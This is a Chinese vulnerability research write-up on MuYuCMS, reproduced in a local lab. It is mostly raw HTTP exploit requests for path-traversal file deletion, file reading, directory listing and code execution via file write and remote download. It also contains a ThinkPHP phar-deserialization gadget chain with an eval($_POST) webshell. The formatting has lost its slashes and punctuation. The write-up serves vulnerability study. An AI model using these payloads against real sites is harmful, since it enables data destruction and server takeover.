MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。 环境搭建 我们利用phpstudy来搭建环境,选择Apache2。4。39MySQL5。7。26php5。6。9,同时利用PhpStorm来实现对项目的调试 漏洞复现分析任意文件删除 我们在网站的根目录下创建一个文件test。txt用来校验文件是否被删除 任意文件删除一 漏洞复现 登录后台后构造数据包POSTadmin。phpaccessoryfilesdel。htmlHTTP1。1Host:test。testContentLength:55Accept:XRequestedWith:XMLHttpRequestUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36ContentType:applicationxwwwformurlencoded;charsetUTF8Origin:http:test。testReferer:http:test。testadmin。phpaccessoryfilelist。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676530347;PHPSESSIDae5mpn24ivb25od6st8sdoouf7;muyufirst1676531718;XDEBUGSESSIONPHPSTORMConnection:closefiledeluruploadfiles。gitignore。。。。。。。。test。txt 文件被成功删除 漏洞分析 appadmincontrollerAccessory::filesdel 通过参数filedelurl拼接得到要删除文件的地址,利用unlink函数删除文件,中间没有做任何校验。 【帮助网安学习,需要网安学习资料关注我,私信回复资料免费获取】 网安学习成长路径思维导图 60网安经典常用工具包 100SRC漏洞分析报告 150网安攻防实战技术电子书 最权威CISSP认证考试指南题库 超1800页CTF实战技巧手册 最新网安大厂面试题合集(含答案) APP客户端安全检测指南(安卓IOS)任意文件删除二 漏洞复现 登录后台后构造数据包POSTadmin。phpaccessorypicdel。htmlHTTP1。1Host:test。testContentLength:54Accept:XRequestedWith:XMLHttpRequestUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36ContentType:applicationxwwwformurlencoded;charsetUTF8Origin:http:test。testReferer:http:test。testadmin。phpaccessoryfilelist。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676530347;PHPSESSIDae5mpn24ivb25od6st8sdoouf7;muyufirst1676531718;XDEBUGSESSIONPHPSTORMConnection:closepicdeluruploadfiles。gitignore。。。。。。。。test。txt 漏洞分析 appadmincontrollerAccessory::picdel 通过参数picdelur拼接得到要删除图片的地址,利用unlink函数删除文件,中间没有做任何校验任意文件删除三 漏洞复现 登录后台后构造数据包GETeditorindex。php?adeletenodetypefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close 漏洞分析 AppControllerController::deletenode AppCoreFile::deleteFile AppControllerController::beforeFun 对传入的path判断了是否在合法的文件域中,但没有对传入的path没有进行跨目录的校验就删除了文件任意文件删除四 漏洞复现POSTadmin。phpdatabasesqldel。htmlHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:closeContentType:applicationxwwwformurlencodedContentLength:19name。。。。test。txt 漏洞分析 appadmincontrollerDatabase::sqldel 获取post传入的参数name 利用delFile函数删除文件任意文件删除五 漏洞复现 登录后台后构造数据包POSTadmin。phpupdatermdirr。html?dirnameF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testContentLength:0Accept:UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36XRequestedWith:XMLHttpRequestOrigin:http:test。testReferer:http:test。testadmin。phpsystemupdate。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:PHPSESSIDd3bt6cnt59c2dfq7pshva5ffc1;muyucheckaccre1676878715;muyufirst1676879341Connection:close 漏洞分析 appadmincontrollerUpdate::rmdirr 传入的参数dirname经过简单的判断,然后调用unlink函数去删除任意文件读取 漏洞复现 登录后构造数据包GETeditorindex。php?agetfilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close 成功读取文件信息 漏洞分析 AppControllerController::getfile 列目录 漏洞复现 登录后构造数据包GETeditorindex。php?adirlistdirpathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。。。。。。。。。。。。。。。HTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close 成功将根目录下的信息显露出来 漏洞分析 AppControllerController::dirlist AppCoreJstree::getDir AppControllerController::beforeFun 对传入的dirpath判断了是否在合法的文件域中,但没有对传入的dirpath没有进行跨目录的校验就打印出目录信息任意代码执行任意代码执行一 漏洞复现 登录后构造数据包,读取config文件内容GETeditorindex。php?agetfilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplatemembertempuserconfig。phpHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close 此时需要获取的并不是文件内容,而是更改之后文件的key 复制文件校验码替换到下面数据包中GETeditorindex。php?asavefilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplatemembertempuserconfig。phpfilekey5e9c862ce52986e5437652d707c7c82ffilecontentlt;?phpphpinfo();php?HTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close 访问文件在网站上对应的位置,发现代码已经被成功执行 也可以执行其他代码 漏洞分析 AppControllerController::savefile savefile有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改 AppCoreFile::setFileContent 任意代码执行二 漏洞复现 登录后构造数据包POSTadmin。phpupdategetFile。html?urlhttp:127。0。0。1:8000shell。phpsavedirF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplateHTTP1。1Host:test。testContentLength:0Accept:UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36XRequestedWith:XMLHttpRequestOrigin:http:test。testReferer:http:test。testadmin。phpsystemupdate。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:PHPSESSIDd3bt6cnt59c2dfq7pshva5ffc1;muyucheckaccre1676878715;muyufirst1676879341;XDEBUGSESSIONPHPSTORMConnection:close 指定远程url下载文件,下载的文件保存到指定位置 访问指定的文件目录,发现代码被成功执行 漏洞分析 appadmincontrollerUpdate::getFile 通过url指定获取远程文件的地址,savedir指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞phar反序列化 漏洞复现lt;?phpnamespacethink{abstractclassModel{protectedappend;privatedata;functionconstruct(){thisappend〔aaaa〔123456〕〕;thisdata〔aaaanewRequest()〕;}}classRequest{protectedparam;protectedhook;protectedfilter;protectedconfig;functionconstruct(){thisfiltersystem;thisconfig〔varajax〕;thishook〔visible〔this,isAjax〕〕;thisparam〔calc〕;}}}namespacethinkprocesspipes{usethinkmodelPivot;classWindows{privatefiles;publicfunctionconstruct(){thisfiles〔newPivot()〕;}}}namespacethinkmodel{usethinkModel;classPivotextendsModel{}}namespace{usethinkprocesspipesWindows;unlink(shell。jpg);pharnewPhar(shell。phar);pharstartBuffering();pharsetStub(GIF89a。lt;?phpHALTCOMPILER();?);objectnewWindows();objecthahaeval(POST〔a〕);;objecthahaphpinfo();;pharsetMetadata(object);pharaddFromString(a,a);添加要压缩的文件pharstopBuffering();echo(base64encode(serialize(newWindows())));}? 生成phar序列化数据包修改后缀,启动python服务器 构造数据包下载远程的文件到本地GETpublicstaticadminstaticueditorphpcontroller。php?actioncatchimagesource〔〕http:127。0。0。1:8000shell。pngHTTP1。1Host:test。testUpgradeInsecureRequests:1UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9AcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:XDEBUGSESSIONPHPSTORMConnection:close 执行phar序列化 http:test。testadmin。phpupdatermdirr。html?dirnamephar:。publicuploadimages1676882763141961。png 注意事项 在最开始,获取远程图片的时候,一直出现错误提示链接contentType不正确通过在代码中查找,定位到问题位置 校验了ContentType的值经过不断的调试仍然发现不了问题出现在哪 但是发现通过phpstudy默认的apache服务是没问题的通过抓包对比发现一个是ContentType另一个是Contenttype 我直接修改了python的源代码将其中的小写t替换成了大写T 漏洞分析 appadmincontrollerUpdate::rmdirr 通过协议绕过了对文件名的检测然后触发了反序列漏洞 MuYuCMSmasterpublicstaticadminstaticueditorphpcontroller。php